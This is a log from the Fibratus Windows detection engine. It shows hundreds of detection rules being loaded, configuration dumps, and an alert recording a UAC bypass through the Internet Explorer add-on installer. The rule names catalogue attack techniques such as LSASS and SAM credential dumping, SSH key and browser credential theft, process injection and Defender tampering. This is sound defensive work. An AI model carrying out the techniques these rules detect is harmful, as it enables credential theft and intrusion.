C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T22:04:22+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T22:04:22+01:00 level=info msg=bootstrapping with pid 14044. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T22:04:22+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ port=>25 content-type=>text/html enabled=>false use-template=>true to=>[]] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] flush-interval=>1s enable-registry=>true enable-net=>true enable-audit-api=>true enable-mem=>false enable-image=>true enable-threadpool=>false buffer-size=>512 enable-fileio=>true enable-handle=>false stack-enrichment=>true max-buffers=>36 enable-thread=>true enable-vamap=>true enable-dns=>false min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-size=>100 max-backups=>15 formatter=>text max-age=>0 level=>info] + output ......................... [ eventlog=>[ level=>info enabled=>false] http=>[ tls-insecure-skip-verify=>false endpoints=>[] enabled=>false timeout=>5s method=>POST serializer=>json enable-gzip=>false] amqp=>[ tls-insecure-skip-verify=>false durable=>false exchange-type=>topic routing-key=>fibratus url=>amqp://localhost:5672 vhost=>/ timeout=>5s exchange=>fibratus passive=>false delivery-mode=>transient enabled=>false] elasticsearch=>[ index-name=>fibratus healthcheck=>true flush-period=>1s bulk-workers=>1 trace-log=>false healthcheck-timeout=>5s sniff=>false enabled=>false healthcheck-interval=>10s gzip-compression=>false template-name=>fibratus timeout=>5s servers=>[http://127.0.0.1:9200]] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-files=>false enabled=>false skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] excluded-files=>[] fastscan=>true skip-allocs=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T22:04:23+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T22:04:25+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T22:04:40+01:00 level=info msg=sending alert: [UAC bypass via elevated Internet Explorer add-on installer COM interface]. Text: Event(s): + Seq: 7079392 + Pid: 9796 + Tid: 15704 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-25 22:04:29.6875302 +0100 CET + Params: cmdline➜ C:\Users\nedo\AppData\Local\Temp\IDC1.tmp\[1]consent.exe, directory_table_base➜ 255902000, domain➜ ARCHRABBIT, exe➜ C:\Users\nedo\AppData\Local\Temp\IDC1.tmp\[1]consent.exe, exit_status➜ Success, flags➜ , kproc➜ ffffe10130082080, name➜ [1]consent.exe, pid➜ 20716, ppid➜ 9796, real_ppid➜ 9796, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-25 22:04:29.6875302 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 1764104833970033404, rule.name: UAC bypass via elevated Internet Explorer add-on installer COM interface, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 9796 + Ppid: 1236 + Name: ieinstal.exe + Parent name: svchost.exe + Cmdline: "C:\Program Files\Internet Explorer\IEInstal.exe" -Embedding + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\Program Files\Internet Explorer\IEInstal.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Internet Explorer\IEInstal.exe" -Embedding] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-25T22:04:40+01:00 level=error msg=unable to parse PE exports for module [C:\Users\nedo\AppData\Local\Temp\IDC1.tmp\[1]consent.exe]: open C:\Users\nedo\AppData\Local\Temp\IDC1.tmp\[1]consent.exe: The system cannot find the path specified. source=symbolize/symbolizer.go:246 +time=2025-11-25T22:05:13+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T22:05:13+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T22:05:13+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T22:12:12+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T22:12:12+01:00 level=info msg=bootstrapping with pid 18824. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T22:12:12+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ use-template=>true enabled=>false to=>[] port=>25 content-type=>text/html] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-dns=>false enable-image=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 flush-interval=>1s enable-threadpool=>false enable-mem=>false max-buffers=>36 stack-enrichment=>true enable-registry=>true enable-thread=>true enable-fileio=>true enable-vamap=>true enable-handle=>false min-buffers=>16 enable-audit-api=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-size=>100 max-age=>0 max-backups=>15 level=>info formatter=>text] + output ......................... [ amqp=>[ routing-key=>fibratus exchange=>fibratus enabled=>false durable=>false exchange-type=>topic vhost=>/ passive=>false timeout=>5s delivery-mode=>transient url=>amqp://localhost:5672 tls-insecure-skip-verify=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ healthcheck-interval=>10s flush-period=>1s template-name=>fibratus healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] enabled=>false bulk-workers=>1 healthcheck=>true sniff=>false index-name=>fibratus gzip-compression=>false timeout=>5s trace-log=>false] http=>[ enabled=>false serializer=>json method=>POST endpoints=>[] tls-insecure-skip-verify=>false timeout=>5s enable-gzip=>false]] + pe ............................. [ read-sections=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] enabled=>false skip-registry=>false skip-mmaps=>false fastscan=>true scan-timeout=>10s excluded-files=>[] skip-allocs=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T22:12:12+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T22:12:15+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T22:12:24+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T22:12:25+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T22:12:25+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T22:15:18+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from 